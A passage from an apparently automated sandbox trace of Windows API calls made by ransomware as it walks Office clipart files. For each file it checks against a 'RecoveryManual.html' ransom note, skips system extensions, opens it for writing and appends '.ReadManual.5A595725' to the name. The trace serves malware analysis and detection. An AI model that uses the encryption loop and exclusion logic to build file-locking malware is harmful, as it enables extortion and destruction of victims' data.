lpPerformanceCount=0x434fd90*=38685092953) returned 1 [0266.182] CloseHandle (hObject=0x184) returned 1 [0266.182] SetSecurityInfo () returned 0x57 [0266.182] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.182] CloseHandle (hObject=0x194) returned 1 [0266.183] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd74, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0105234.WMF", cAlternateFileName="")) returned 1 [0266.183] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0105234.WMF" | out: lpString1="J0105234.WMF") returned="J0105234.WMF" [0266.183] lstrcmpiW (lpString1="J0105234.WMF", lpString2="RecoveryManual.html") returned -1 [0266.183] StrStrIW (lpFirst="J0105234.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.183] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.183] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.183] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.183] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.183] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.183] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.183] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.183] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.183] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.183] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.183] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.183] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.183] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.183] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.183] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF" [0266.183] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF.ReadManual.5A595725" [0266.183] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF.ReadManual.5A595725") returned 87 [0266.183] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38685197217) returned 1 [0266.183] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105234.wmf")) returned 0x20 [0266.184] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105234.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.185] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3444) returned 1 [0266.185] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd74, lpName=0x0) returned 0x184 [0266.185] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.185] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.185] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.187] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.187] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd74) returned 0x2f0000 [0266.187] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.187] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38685628289) returned 1 [0266.188] CloseHandle (hObject=0x184) returned 1 [0266.188] SetSecurityInfo () returned 0x57 [0266.188] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.188] CloseHandle (hObject=0x194) returned 1 [0266.188] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4314, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0105238.WMF", cAlternateFileName="")) returned 1 [0266.188] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0105238.WMF" | out: lpString1="J0105238.WMF") returned="J0105238.WMF" [0266.188] lstrcmpiW (lpString1="J0105238.WMF", lpString2="RecoveryManual.html") returned -1 [0266.188] StrStrIW (lpFirst="J0105238.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.188] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.188] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.188] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.188] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.188] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.188] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.188] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.188] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.188] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.188] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.188] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.188] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.189] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.189] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.189] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF" [0266.189] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF.ReadManual.5A595725" [0266.189] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF.ReadManual.5A595725") returned 87 [0266.189] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38685746520) returned 1 [0266.189] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105238.wmf")) returned 0x20 [0266.189] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105238.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.189] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=17172) returned 1 [0266.189] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4314, lpName=0x0) returned 0x184 [0266.189] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.190] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.190] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.192] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.192] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4314) returned 0x2f0000 [0266.192] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.192] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38686093742) returned 1 [0266.192] CloseHandle (hObject=0x184) returned 1 [0266.192] SetSecurityInfo () returned 0x57 [0266.192] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.192] CloseHandle (hObject=0x194) returned 1 [0266.192] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2d0c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0105240.WMF", cAlternateFileName="")) returned 1 [0266.193] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0105240.WMF" | out: lpString1="J0105240.WMF") returned="J0105240.WMF" [0266.193] lstrcmpiW (lpString1="J0105240.WMF", lpString2="RecoveryManual.html") returned -1 [0266.193] StrStrIW (lpFirst="J0105240.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.193] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.193] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.193] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.193] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.193] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.193] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.193] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.193] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.193] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.193] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.193] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.193] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.193] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.193] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.193] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF" [0266.193] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF.ReadManual.5A595725" [0266.193] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF.ReadManual.5A595725") returned 87 [0266.193] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38686203308) returned 1 [0266.193] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105240.wmf")) returned 0x20 [0266.193] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105240.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.194] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=11532) returned 1 [0266.194] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2d0c, lpName=0x0) returned 0x184 [0266.194] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.194] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.194] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.196] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.196] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2d0c) returned 0x2f0000 [0266.197] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.197] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38686547775) returned 1 [0266.197] CloseHandle (hObject=0x184) returned 1 [0266.197] SetSecurityInfo () returned 0x57 [0266.197] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.197] CloseHandle (hObject=0x194) returned 1 [0266.197] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2bdc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0105244.WMF", cAlternateFileName="")) returned 1 [0266.197] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0105244.WMF" | out: lpString1="J0105244.WMF") returned="J0105244.WMF" [0266.197] lstrcmpiW (lpString1="J0105244.WMF", lpString2="RecoveryManual.html") returned -1 [0266.197] StrStrIW (lpFirst="J0105244.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.197] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.197] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.197] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.197] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.197] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.197] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.197] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.197] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.197] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.197] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.197] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.197] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.198] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.198] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.198] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF" [0266.198] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF.ReadManual.5A595725" [0266.198] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF.ReadManual.5A595725") returned 87 [0266.198] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38686653115) returned 1 [0266.198] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105244.wmf")) returned 0x20 [0266.198] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105244.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.198] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=11228) returned 1 [0266.198] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2bdc, lpName=0x0) returned 0x184 [0266.198] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.199] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.199] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.201] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.201] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2bdc) returned 0x2f0000 [0266.201] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.201] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38687014091) returned 1 [0266.201] CloseHandle (hObject=0x184) returned 1 [0266.201] SetSecurityInfo () returned 0x57 [0266.202] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.202] CloseHandle (hObject=0x194) returned 1 [0266.202] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b80, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0105246.WMF", cAlternateFileName="")) returned 1 [0266.202] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0105246.WMF" | out: lpString1="J0105246.WMF") returned="J0105246.WMF" [0266.202] lstrcmpiW (lpString1="J0105246.WMF", lpString2="RecoveryManual.html") returned -1 [0266.202] StrStrIW (lpFirst="J0105246.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.202] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.202] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.202] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.202] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.202] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.202] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.202] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.202] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.202] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.202] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.202] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.202] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.202] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.202] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.202] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF" [0266.202] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF.ReadManual.5A595725" [0266.202] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF.ReadManual.5A595725") returned 87 [0266.202] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38687124636) returned 1 [0266.203] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105246.wmf")) returned 0x20 [0266.203] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105246.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.203] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=19328) returned 1 [0266.203] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4b80, lpName=0x0) returned 0x184 [0266.203] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.204] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.204] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.206] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.206] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4b80) returned 0x2f0000 [0266.206] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.206] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38687498981) returned 1 [0266.206] CloseHandle (hObject=0x184) returned 1 [0266.206] SetSecurityInfo () returned 0x57 [0266.206] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.206] CloseHandle (hObject=0x194) returned 1 [0266.207] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1214, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0105250.WMF", cAlternateFileName="")) returned 1 [0266.207] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0105250.WMF" | out: lpString1="J0105250.WMF") returned="J0105250.WMF" [0266.207] lstrcmpiW (lpString1="J0105250.WMF", lpString2="RecoveryManual.html") returned -1 [0266.207] StrStrIW (lpFirst="J0105250.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.207] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.207] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.207] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.207] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.207] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.207] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.207] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.207] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.207] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.207] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 